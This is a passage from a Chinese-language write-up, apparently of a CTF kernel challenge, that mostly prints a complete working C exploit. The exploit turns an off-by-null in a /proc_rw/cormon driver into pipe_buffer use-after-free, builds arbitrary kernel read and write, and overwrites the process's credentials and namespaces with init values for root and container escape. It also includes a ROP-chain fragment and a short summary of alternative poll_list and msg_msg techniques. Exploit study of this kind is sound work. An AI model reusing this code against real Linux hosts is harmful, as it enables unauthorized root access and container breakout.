kpti trampoline*rop ++= kernel_base + 0xffffffff81c00ef0 + 22; // swapgs_restore_regs_and_return_to_usermode + 22*rop ++= 0;*rop ++= 0;*rop ++= (uint64_t)&win;*rop ++= usr_cs;*rop ++= usr_rflags;*rop ++= (uint64_t)(stack + 0x5000);*rop ++= usr_ss;puts("[*] Freeing user keys...");free_all_keys(false);puts("[*] Spraying ROP chain...");for (int i = 0; i < 31; i++)keys[i] = alloc_key(n_keys++, buff, 600);puts("[*] Hijacking control flow...");for (int i = 0; i < 1024; i++)release_pipe_buff(i);// --- for (int i = 0; i < 256; i++)pthread_join(poll_tid[i], NULL);
}
第二种利用方式就是直接利用 pipe_buffer
去构造自写管道系统进行提权逃逸,这个利用方式就不多说了。
笔者 exp
如下:
#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <sys/prctl.h>size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;
size_t page_offset_base = 0xffff888000000000, vmemmap_base = 0xffffea0000000000;
size_t init_task, init_nsproxy, init_cred, init_fs;size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{size_t page_count;page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;return vmemmap_base + page_count * 0x40;
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] %s\033[0m\n", msg);sleep(1);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[33m\033[1m[@] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: \033[0m%#llx\n", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf(" %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}int key_alloc(char *description, char *payload, size_t plen)
{return syscall(__NR_add_key, "user", description, payload, plen,KEY_SPEC_PROCESS_KEYRING);
}int key_update(int keyid, char *payload, size_t plen)
{return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}int key_read(int keyid, char *buffer, size_t buflen)
{return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}int key_revoke(int keyid)
{return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}int key_unlink(int keyid)
{return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}struct page;
struct pipe_inode_info;
struct pipe_buf_operations;
struct pipe_buffer {struct page *page;unsigned int offset, len;const struct pipe_buf_operations *ops;unsigned int flags;unsigned long private;
};#define PAGE_SIZE 4096
#define SPRAY_PIPE_NUMS 0xf0
#define S_PIPE_BUF_SZ 96
#define T_PIPE_BUF_SZ 192
#define SPRAY_KEY_NUMS 0x100int key_id[SPRAY_PIPE_NUMS];int pipe_fd[SPRAY_PIPE_NUMS][2];
int orig_idx = -1, victim_idx = -1;
int snd_orig_idx = -1, snd_victim_idx = -1;
int self_1_pipe_idx = -1, self_2_pipe_idx = -1, self_3_pipe_idx = -1;
struct pipe_buffer self_pipe_buf;
struct pipe_buffer self_1_pipe_buf, self_2_pipe_buf, self_3_pipe_buf;int fd;
void off_by_null(){char buf[PAGE_SIZE] = { 0 };write(fd, buf, PAGE_SIZE);
}
size_t kbase, koffset;void construct_first_level_page_uaf() {info("Step I - construct first level page uaf");puts("[+] Spraying pipe_buffer from kmalloc-1k [GFP_KERNEL_ACCOUNT]");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (pipe(pipe_fd[i]) < 0) err_exit("ERROR at pipe()");}puts("[+] Spraying pipe_buffer from kmalloc-4k [GFP_KERNEL_ACCOUNT] by fcntl()");int k = 0, flag = 1;for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*64) < 0) perror("fcntl()"), err_exit("ERROR at fcntl()");if (i > 4 && (i % 9) == 0 && flag) {char des[16] = { 0 };char val[4096] = { 0 };sprintf(des, "%s%d", "pwn_", i);if ((key_id[k++] = key_alloc(des, val, 4096-0x18)) < 0)printf("[+] user_key_payload -- kmalloc-4k: %d\n", k), flag = 0;}write(pipe_fd[i][1], "XiaozaYa", 8);write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], "AAAAAAAX", 8);write(pipe_fd[i][1], "BBBBBBBX", 8);}/*puts("[+] Freeing some pipe_buffer to kmalloc-4k / pipe_fd[3i]");for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {close(pipe_fd[i][0]);close(pipe_fd[i][1]);}
*/puts("[+] Trying to overwrite pipe_buffer.page");for (int i = 0; i < k; i++) {key_revoke(key_id[i]);key_unlink(key_id[i]);}sleep(1);off_by_null();/*puts("[+] Spraying pipe_buffer from kmalloc-1k [GFP_KERNEL_ACCOUNT] / pipe_fd[2i]");for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {if (pipe(pipe_fd[i]) < 0) err_exit("ERROR at pipe()");}puts("[+] Spraying pipe_buffer from kmalloc-4k [GFP_KERNEL_ACCOUNT] by fcntl() / pipd_fd[2i]");for (int i = 0; i < SPRAY_PIPE_NUMS; i+=3) {if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000*64) < 0) perror("fcntl()"), err_exit("ERROR at fcntl()");write(pipe_fd[i][1], "XiaozaYa", 8);write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], &i, sizeof(int));write(pipe_fd[i][1], "AAAAAAAX", 8);write(pipe_fd[i][1], "BBBBBBBX", 8);}
*/puts("[+] Checking...");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {int nr = -1;char tag[16] = { 0 };read(pipe_fd[i][0], tag, 8);read(pipe_fd[i][0], &nr, sizeof(int));if (!strcmp(tag, "XiaozaYa") && i != nr) {orig_idx = nr;victim_idx = i;hexx("orig_idx", orig_idx);hexx("victim_idx", victim_idx);}}if (orig_idx == -1) err_exit("FAILED to overwrite pipe_buffer.page");puts("");}void construct_second_level_page_uaf() {info("Step II - construct second level page uaf");size_t buf[PAGE_SIZE] = { 0 };size_t s_pipe_sz = 0x1000 * (S_PIPE_BUF_SZ/sizeof(struct pipe_buffer));write(pipe_fd[victim_idx][1], buf, S_PIPE_BUF_SZ*2 - sizeof(int)*3 - 24);read(pipe_fd[victim_idx][0], buf, S_PIPE_BUF_SZ - sizeof(int) - 8);/*puts("[+] Spraying user_key_payload from kmalloc-96 [GFP_KERNEL]");int k = 0, flag = 1;for (int i = 0; i < 130 && flag; i++, k++) {char des[16] = { 0 };char val[96] = { 0 };sprintf(des, "%d", i);if ((key_id[i] = key_alloc(des, val, 90-0x18)) < 0)printf("[+] user_key_payload -- kmalloc-96: %d\n", k), flag = 0;}
*/close(pipe_fd[orig_idx][0]);close(pipe_fd[orig_idx][1]);sleep(1);puts("[+] Spraying pipe_buffer from kmalloc-96 [GFP_KERNEL_ACCOUNT] by fcntl()");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, s_pipe_sz) < 0) err_exit("ERROR at fcntl()");}
/*for (int i = 0; i < k; i++) {key_revoke(key_id[i]);key_unlink(key_id[i]);}
*/puts("[+] Checking...");read(pipe_fd[victim_idx][0], &self_pipe_buf, sizeof(struct pipe_buffer));if (self_pipe_buf.page < 0xffff000000000000ULL) err_exit("FAILED to occupy first level uaf page");binary_dump("self_pipe_buf", &self_pipe_buf, sizeof(struct pipe_buffer));hexx("pipe_buffer.page ", self_pipe_buf.page);hexx("pipe_buffer.offset ", self_pipe_buf.offset);hexx("pipe_buffer.len ", self_pipe_buf.len);hexx("pipe_buffer.ops ", self_pipe_buf.ops);hexx("pipe_buffer.flags ", self_pipe_buf.flags);hexx("pipe_buffer.private", self_pipe_buf.private);write(pipe_fd[victim_idx][1], &self_pipe_buf, sizeof(struct pipe_buffer));puts("[+] Checking...");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;int nr = -1;read(pipe_fd[i][0], &nr, sizeof(int));if (nr < SPRAY_PIPE_NUMS && i != nr) {snd_orig_idx = nr;snd_victim_idx = i;hexx("snd_orig_idx", snd_orig_idx);hexx("snd_victim_idx", snd_victim_idx);}}if (snd_orig_idx == -1) err_exit("FAILED to construct second level page uaf");puts("");
}void construct_self_writing_pipe() {info("Step III - construct self writing pipe");size_t buf[0x1000] = { 0 };struct pipe_buffer evil_pipe_buf;struct page* page_ptr;int t_pipe_sz = 0x1000 * (T_PIPE_BUF_SZ/sizeof(struct pipe_buffer));write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(int)*3 - 24);
/*puts("[+] Spraying user_key_payload from kmalloc-192 [GFP_KERNEL]");int k = 0, flag = 1;for (int i = 0; i < SPRAY_KEY_NUMS && flag; i++, k++) {char des[16] = { 0 };char val[192] = { 0 };sprintf(des, "%d", i);if ((key_id[i] = key_alloc(des, val, 190-0x18)) < 0)printf("[+] user_key_payload -- kmalloc-192: %d\n", k), flag = 0;}
*/close(pipe_fd[snd_orig_idx][0]);close(pipe_fd[snd_orig_idx][1]);puts("[+] Spraying pipe_buffer from kmalloc-192 [GFP_KERNEL_ACCOUNT] by fcntl()");for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (i == snd_victim_idx || i == snd_orig_idx) continue;if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, t_pipe_sz) < 0) err_exit("ERROR at fcntl()");}puts("[+] Checking...");puts("[+] construct self writing pipe I");memcpy(&evil_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));evil_pipe_buf.offset = T_PIPE_BUF_SZ;evil_pipe_buf.len = T_PIPE_BUF_SZ;write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));page_ptr = NULL;for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (i == snd_victim_idx || i == snd_orig_idx) continue;read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {self_1_pipe_idx = i;hexx("self_1_pipe_idx", self_1_pipe_idx);break;}}if (self_1_pipe_idx == -1) err_exit("FAILED to construct self_1_pipe");puts("[+] construct self writing pipe II");write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));page_ptr = NULL;for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (i == snd_victim_idx || i == snd_orig_idx) continue;if (i == self_1_pipe_idx) continue;read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {self_2_pipe_idx = i;hexx("self_2_pipe_idx", self_2_pipe_idx);break;}}if (self_2_pipe_idx == -1) err_exit("FAILED to construct self_2_pipe");puts("[+] construct self writing pipe III");write(pipe_fd[snd_victim_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));write(pipe_fd[snd_victim_idx][1], &evil_pipe_buf, sizeof(struct pipe_buffer));page_ptr = NULL;for (int i = 0; i < SPRAY_PIPE_NUMS; i++) {if (i == victim_idx || i == orig_idx) continue;if (i == snd_victim_idx || i == snd_orig_idx) continue;if (i == self_1_pipe_idx || i == self_2_pipe_idx) continue;read(pipe_fd[i][0], &page_ptr, sizeof(struct page*));if ((size_t)page_ptr == (size_t)(self_pipe_buf.page)) {self_3_pipe_idx = i;hexx("self_3_pipe_idx", self_3_pipe_idx);break;}}if (self_3_pipe_idx == -1) err_exit("FAILED to construct self_3_pipe");puts("");
}void setup_self_writing_pipe()
{info("Step IV - setup self writing pipe system");memcpy(&self_1_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));memcpy(&self_2_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));memcpy(&self_3_pipe_buf, &self_pipe_buf, sizeof(struct pipe_buffer));self_2_pipe_buf.offset = T_PIPE_BUF_SZ * 3;self_2_pipe_buf.len = 0;self_3_pipe_buf.offset = T_PIPE_BUF_SZ;self_3_pipe_buf.len = 0;write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));}void arb_read(struct page* page_ptr, void* dst, size_t len)
{char buf[T_PIPE_BUF_SZ] = { 0 };self_1_pipe_buf.page = page_ptr;self_1_pipe_buf.offset = 0;self_1_pipe_buf.len = 0x1000;write(pipe_fd[self_2_pipe_idx][1], &self_3_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], &self_1_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));read(pipe_fd[self_1_pipe_idx][0], dst, len);
}void arb_write(struct page* page_ptr, void* src, size_t len)
{char buf[T_PIPE_BUF_SZ] = { 0 };self_1_pipe_buf.page = page_ptr;self_1_pipe_buf.offset = 0;self_1_pipe_buf.len = 0;write(pipe_fd[self_2_pipe_idx][1], &self_3_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], &self_1_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], buf, T_PIPE_BUF_SZ - sizeof(struct pipe_buffer));write(pipe_fd[self_3_pipe_idx][1], &self_2_pipe_buf, sizeof(struct pipe_buffer));write(pipe_fd[self_1_pipe_idx][1], src, len);
}void pwn()
{info("NO PWN NO FUN");size_t buf[0x1000];puts("[+] Leaking vmemmap base and kernel offset by arb_read");vmemmap_base = (size_t)self_pipe_buf.page & 0xfffffffff0000000;int f = 10;for (;;){arb_read(vmemmap_base+157*0x40, buf, 8);if (f){hexx("data", buf[0]);f--;}if (buf[0] > 0xffffffff81000000 && (buf[0]&0xfff) == 0x040){kernel_base = buf[0] - 0x040;kernel_offset = kernel_base - 0xffffffff81000000;break;}vmemmap_base -= 0x10000000;}hexx("vmemmap_base", vmemmap_base);hexx("kernel_base", kernel_base);hexx("kernel_offset", kernel_offset);puts("[+] Searching for task_struct");uint64_t parent_task, current_task;uint64_t* comm_addr = NULL;size_t base = 0xffff000000000000;for (int i = 0; ; i++){memset(buf, 0, sizeof(buf));arb_read(vmemmap_base+i*0x40, buf, 0xff0);comm_addr = memmem(buf, 0xff0, "YES_I_CAN_DO", 0xc);if (comm_addr && comm_addr[-2] > base && comm_addr[-3] > base && comm_addr[-56] > base && comm_addr[-55] > base){// parent_task = comm_addr[-56];current_task = comm_addr[-49] - 0x528;page_offset_base = (comm_addr[-49]&0xfffffffffffff000) - i*0x1000;page_offset_base &= 0xfffffffff0000000;break;}}// hexx("parent_task", parent_task);hexx("current_task", current_task);hexx("page_offset_base", page_offset_base);/*size_t cinit_task = current_task;size_t pid_offset = 0x4e0 / 8;size_t real_parent_offset = 0x4f0 / 8;for (int i = 0; ; i++){memset(buf, 0, sizeof(buf));size_t look_page = direct_map_addr_to_page_addr(cinit_task);arb_read(look_page, buf, 0xff0);arb_read(look_page+0x40, &buf[512], 0xff0);size_t* look_buf = (size_t*)((char*)buf + (cinit_task&0xfff));if ((look_buf[pid_offset] & 0xffffffff) == 1) {break;}cinit_task = look_buf[real_parent_offset];}hexx("cinit_task", cinit_task);
*/puts("[+] Elevating privileges and Escaping container");init_fs = 0xffffffff82589740 + kernel_offset;init_task = 0xffffffff82415940 + kernel_offset;init_cred = 0xffffffff8245a960 + kernel_offset;init_nsproxy = 0xffffffff8245a720 + kernel_offset;hexx("init_fs", init_fs);hexx("init_task", init_task);hexx("init_cred", init_cred);hexx("init_nsproxy", init_nsproxy);memset(buf, 0, sizeof(buf));size_t current_task_page = direct_map_addr_to_page_addr(current_task);arb_read(current_task_page, buf, 0xff0);arb_read(current_task_page+0x40, &buf[512], 0xff0);size_t* tsk_buf = (size_t*)((char*)buf + (current_task&0xfff));tsk_buf[211] = init_cred;tsk_buf[212] = init_cred;tsk_buf[220] = init_fs;tsk_buf[222] = init_nsproxy;arb_write(current_task_page, buf, 0xff0);arb_write(current_task_page+0x40, &buf[512], 0xff0);/* memset(buf, 0, sizeof(buf));size_t cinit_task_page = direct_map_addr_to_page_addr(cinit_task);arb_read(cinit_task_page, buf, 0xff0);arb_read(cinit_task_page+0x40, &buf[512], 0xff0);tsk_buf = (size_t*)((char*)buf + (cinit_task&0xfff));tsk_buf[211] = init_cred;tsk_buf[212] = init_cred;tsk_buf[220] = init_fs;tsk_buf[222] = init_nsproxy;arb_write(cinit_task_page, buf, 0xff0);arb_write(cinit_task_page+0x40, &buf[512], 0xff0);
*/hexx("UID", getuid());system("/bin/sh");while(1) {}
}int main(int argc, char** argv, char** envp) {bind_core(0);save_status();fd = open("/proc_rw/cormon", O_RDWR);if (fd < 0) err_exit("FAILED to open /proc_rw/cormon");if (prctl(PR_SET_NAME, "YES_I_CAN_DO", 0, 0, 0) != 0) err_exit("ERROR at prctl()");construct_first_level_page_uaf();construct_second_level_page_uaf();construct_self_writing_pipe();setup_self_writing_pipe();pwn();
// getchar();puts("[~] EXP NERVER END!");return 0;
}
效果如下:成功率也还行,最后可以成功提权逃逸
总结
总的来说就是去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null
去损坏该指针,比如使得 0xXXXXa0
变成 0xXXXX00
,然后就可以考虑去构造 UAF
了。
比如在 poll_list
利用方式中:
- 先堆喷大量
32
字节大小的user_key_payload
这里只所以是
32
字节大小是因为要与后面的seq_operations
配合,并且32
大小的object
其低字节是可能为\x00
的,其低字节为0x20
、0x40
、0x80
、0xa0
、0xc0
、0xe0
、0x00
。
- 然后创建
poll_list
链,其中poll_list.next
指向的是一个0x20
大小的object
这里笔者存在一个问题,这种方式是不是只能针对
4096
大小的off by null
呢?因为只有poll_list
链的最后一个poll_list
的大小才是可以控制的
- 触发
off by null
,修改poll_list.next
的低字节为\x00
,这里可能导致其指向某个user_key_payload
- 然后等待
timeout
后, 就会导致某个user_key_payload
被释放,导致UAF
在 pipe_buffer
构造自写管道也是一样的,pipe_buffer.page
指向的是一个 struct page
结构体,而该结构体大小为 0x40
,所以其低字节可能为 0x40
、0x80
、0xc0
、0x00
。
总的来说感觉利用 pipe_buffer
构造自写管道还是好一些,毕竟只需要堆喷 pipe_buffer
,并且 pipe_buffer
的大小是可以通过 fcntl
修改的,并且其只需要一次 off by null
即可(当然 poll_list
利用方式也是只需要一次),所以似乎其也更加通用。
当然这里还是得讨论下另一个女友 msg_msg
了。在 CVE-2021-22555
中,msg_msg + sk_buf + pipe_buffer
仅仅利用 2 (null)字节溢出完成提权逃逸。但如果只是 off by null
呢?在原 CVE
的利用中,从消息是堆喷的 1024
大小,其低字节恒为 \x00
,所以此时 off by null
似乎就不起作用了。但感觉还是有操作空间的,这里笔者就简单想了想,没有实操,后面有时间在探索探索吧。
其实道理很简单,这里我们仅仅是为了去构造 UAF
,所以我们可以选择 kmalloc-8 ~ kmalloc-192
之间的 object
作为从消息去构造 kmalloc-8 ~ kmalloc-192
的 UAF
,比如这里就i可以选择 kmalloc-32
即利用 user_key_payload
去泄漏相关信息,并且观察 user_key_payload
和 msg_msg
结构体你会发现,我们可以通过 setxattr
去控制 user_key_payload
的头 8 字节为 null
也就是说可以控制 msg_msg
的头 8 字节,然后 msg_msg.next
为 user_key_payload
的 data
域,所以可以控制 msg_msg.next
从而可以构造任意释放原语。